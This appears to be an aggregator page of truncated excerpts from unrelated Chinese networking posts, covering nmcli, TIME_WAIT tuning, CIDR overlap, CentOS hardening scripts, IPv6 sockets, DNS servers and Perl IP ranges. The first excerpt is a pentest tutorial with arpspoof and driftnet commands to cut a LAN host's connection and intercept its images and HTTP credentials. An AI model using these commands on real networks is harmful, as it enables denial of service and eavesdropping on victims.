ipv4

渗透测试之基本工具

百般思念 提交于 2019-11-28 12:51:17
一、局域网断网 1、arp攻击----让目标主机断网 工具:arpspoof 命令格式:arpspoof -i 本机网卡 -t 目标ip 网关 Ctrl+c 终止攻击 查看局域网内在使用的ip fping -asg 192.168.1.0/24 2、arp欺骗-----在获取目标流量的时候不会出现断网现象 让目ip流量经过我的本地网卡,从我的网关出去,不会出现断网现象 echo 1 >/proc/sys/net/ipv4/ip_forward -------让目标流量从我的本地网关出去 (该命令没有回显内容) arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 -----让目标流量经过的网卡 driftnet ----获取本机网卡上的图片流量,通过arp欺骗即可获取目标主机浏览的图片 echo 1 >/proc/sys/net/ipv4/ip_forward cat /proc/sys/net/ipv4/ip_forward---回显为“1”表示echo 1 >/proc/sys/net/ipv4/ip_forward执行成功 arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 driftnet -i eth0 -------------会弹出一个对话框,显示图片 3、获取HTTP账号密码 echo 1 >

nmcli

徘徊边缘 提交于 2019-11-28 11:18:51
nmcli connection add type ethernet autoconnect yes con-name con-huzh-n3 ifname eno16777728 ip4 1.1.13.6/24 gw4 1.1.13.2 nmcli connection modify con-huzh-n3 ipv4.method manual ipv4.ignore-auto-dns yes ipv4.dns 1.1.13.2 [root@localhost ~]# nmcli connection show con-huzh-n3 | grep ipv4 ipv4.method: manual ipv4.dns: 1.1.13.2 ipv4.dns-search: ipv4.addresses: { ip = 1.1.13.6/24, gw = 1.1.13.2 } ipv4.routes: ipv4.ignore-auto-routes: no ipv4.ignore-auto-dns: no ipv4.dhcp-client-id: -- ipv4.dhcp-send-hostname: yes ipv4.dhcp-hostname: -- ipv4.never-default: no ipv4.may-fail: yes 来源: https://www.cnblogs

TIME_WAIT 太多的解决办法

帅比萌擦擦* 提交于 2019-11-28 11:15:36
TIME_WAIT 客户端与服务器端建立TCP/IP连接后关闭SOCKET后,服务器端连接的端口状态为TIME_WAIT.主动关闭的一方在发送最后一个 ack 后 就会进入 TIME_WAIT 状态 停留2MSL(max segment lifetime)时间 这个是TCP/IP必不可少的,也就是“解决”不了的,也就是TCP/IP设计者本来是这么设计的 主要有两个原因 1。防止上一次连接中的包,迷路后重新出现,影响新连接 (经过2MSL,上一次连接中所有的重复包都会消失) 2。可靠的关闭TCP连接 在主动关闭方发送的最后一个 ack(fin) ,有可能丢失,这时被动方会重新发fin, 如果这时主动方处于 CLOSED 状态 ,就会响应 rst 而不是 ack。所以主动方要处于 TIME_WAIT 状态,而不能是 CLOSED 。 TIME_WAIT 并不会占用很大资源的,除非受到攻击。 还有,如果一方 send 或 recv 超时,就会直接进入 CLOSED 状态 1 netstat -an 查看下,发现系统中有很多time_wait的连接。因此直接用一下命令查看详细情况 1 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 具体的解决方式 vim /etc/sysctl.conf net

Testing if a network in cidr notation overlaps another network

雨燕双飞 提交于 2019-11-28 10:14:59
I'm searching for a php algorithm that efficiently test if one cidr notated network overlaps another. Basically I have the following situation: Array of cidr adresses: $cidrNetworks = array( '192.168.10.0/24', '10.10.0.30/20', etc. ); I have a method that adds networks to the array, but this method should throw an exception when a network is added that overlaps with a network allready in the array. So ie. if 192.168.10.0/25 is added an exception should be thrown. Does anyone have/know/"can think of" an method to test this efficiently? Here is an updated version of the class previously

给公司个别安装好的系统环境处理-相当half系统初始化脚本shell

喜欢而已 提交于 2019-11-28 08:38:43
#!/bin/bash # Used for other system-environment update! echo -e '\n\033[35m~~请使用root权限运行此脚本~~\033[0m\n' read -n 1 -p "Sure?(y/n):" sure echo if [ $sure == 'y' ] then echo -e '\n\033[32mcontinue......\033[0m\n' else exit 126 fi echo -e "\033[34m[请输入nginx配置文件所在目录路径]:\033[0m" && read nginx_conf_dir echo -e "\033[34m[请输入php配置文件所在目录路径]:\033[0m" && read php_conf_dir sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/sysconfig/selinux setenforce 0 for i in {adm,games,lp,operator,systemd-network,dbus,polkitd,halt} do /usr/sbin/userdel -r $i done /usr/sbin/useradd -M www;/usr/sbin/useradd -M ops

Cent OS 7的Linux系统优化加固

老子叫甜甜 提交于 2019-11-28 05:36:27
1.关闭selinux 2.关闭防火墙 3.关闭NetworkManager 4.为系统运维管理员创建普通用户,并配置sudo(vi sudo) 5.清空泄漏系统版本信息的文件 6.基础优化sshd服务 vim /etc/ssh/sshd_config egrep -n 'GSSAPIA|UseDNS' /etc/ssh/sshd_config(查看是否修改了)7.修改系统YUM源,添加系统epel源 curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo #修改系统YUM源curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo #添加系统epel源 yum repolist #查看系统YUM源和epel源8.安装系统常用软件 yum install -y tree vim wget bash-completion bash-completion-extras lrzsz net-tools sysstat iotop iftop htop unzip nc nmap telnet bc psmisc 9.优化linux内核参数 cat >>/etc/sysctl

Linux操作系统优化

落花浮王杯 提交于 2019-11-28 03:58:48
/*--> */ /*--> */ 第18章 Linux操作系统优化 第18章 Linux操作系统优化 1. 更改Yum源和添加epel源 2. 关闭SELinux 3. 关闭防火墙(Firewalld) 4. 关闭NetworkManager 5. 同步系统时间 6. 加大文件描述 7. 别名及环境变量优化 8. 内核优化 9. 配置SSH远程管理服务 10. 修改主机名和IP脚本 11. 安装常用软件 12. Linux基础优化及安全小结 1. 更改Yum源和添加epel源 xxxxxxxxxx ​ 默认国外的yum源(软件仓库)比较慢,所以换成国内的。 ​ #1、备份 [root@qls ~]# mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup ​ #2、下载新的CentOS-Base.repo 到/etc/yum.repos.d/ [root@qls ~]# curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo ​ #3.添加epel源 [root@qls ~]# curl -o /etc/yum.repos.d/epel.repo http:/

Connecting IPv4 client to IPv6 server: connection refused

无人久伴 提交于 2019-11-28 03:50:48
问题 I am experimenting with IPv6 sockets, particularly the "dual stack" capability offered on Windows Vista and later, and apparently on Unix by default. I am finding that when I bind my server to a specific IP address, or to the hostname resolution of my local machine, I cannot accept a connection from an IPv4 client. When I bind to INADDR_ANY however, I can. Please consider the following code for my server. You can see that I follow Microsoft's advice of creating an IPv6 socket, then setting

全球免费公共 DNS 解析服务器 IP 地址列表推荐 (解决无法上网/加速/防劫持)

无人久伴 提交于 2019-11-28 01:01:09
全球免费公共 DNS 解析服务器 IP 地址列表推荐 基本上接触过 网络 相关知识的人应该多少都会听过 DNS 这个名词。因为 DNS 它非常重要,在我们上网的过程中扮演着重要的角色——“将网址/域名解析成 IP 地址”。 如果配置了不合理的 DNS 服务器,可能会导致网速缓慢、打不开 网站 ;一些恶意的 DNS 还会让你电脑出现弹窗广告、网站被劫持修改 (中间人攻击)、监听等等一系列的 安全 问题。因此为了高速稳定上网,异次元特意 搜集 了目前全球范围内可靠的 免费公共 DNS 服务 地址…… 科普:什么是 DNS,有什么作用? DNS 的全称是 Domain Name System 或者 Domain Name Service,它主要的作用就是将人们所熟悉的网址 (域名) “翻译”成电脑可以理解的 IP 地址,这个过程叫做 DNS 域名解析 。 比如说异次元的 iPlaySoft.com 是大家可以比较容易记忆的域名,但电脑其实并不能通过域名直接找到异次元网站的 服务器 究竟在哪里的。因为在 互联网 上,网络设备只能依靠 IP 地址 (相当于互联网上的门牌号) 进行寻址定位才能建立起连接的。 因此 DNS 服务器 本身必须长期保持足够的稳定性,域名解析的速度要足够的快,你上网 (访问网站) 时的速度和稳定性才能得到保障。一旦 DNS 服务器“出现问题”,比如它自身故障宕机了

How can I generate a range of IP addresses in Perl?

会有一股神秘感。 提交于 2019-11-28 00:28:44
问题 I need to generate a list of IP-addresses (IPv4) in Perl. I have start and end addresses, for example 1.1.1.1 and 1.10.20.30. How can I print all the addresses inbetween? 回答1: Use Net::IP's looping feature: The + operator is overloaded in order to allow looping though a whole range of IP addresses: 回答2: Use Net::IP. From the CPAN documentation: my $ip = new Net::IP ('195.45.6.7 - 195.45.6.19') || die; # Loop do { print $ip->ip(), "\n"; } while (++$ip); This approach is more flexible because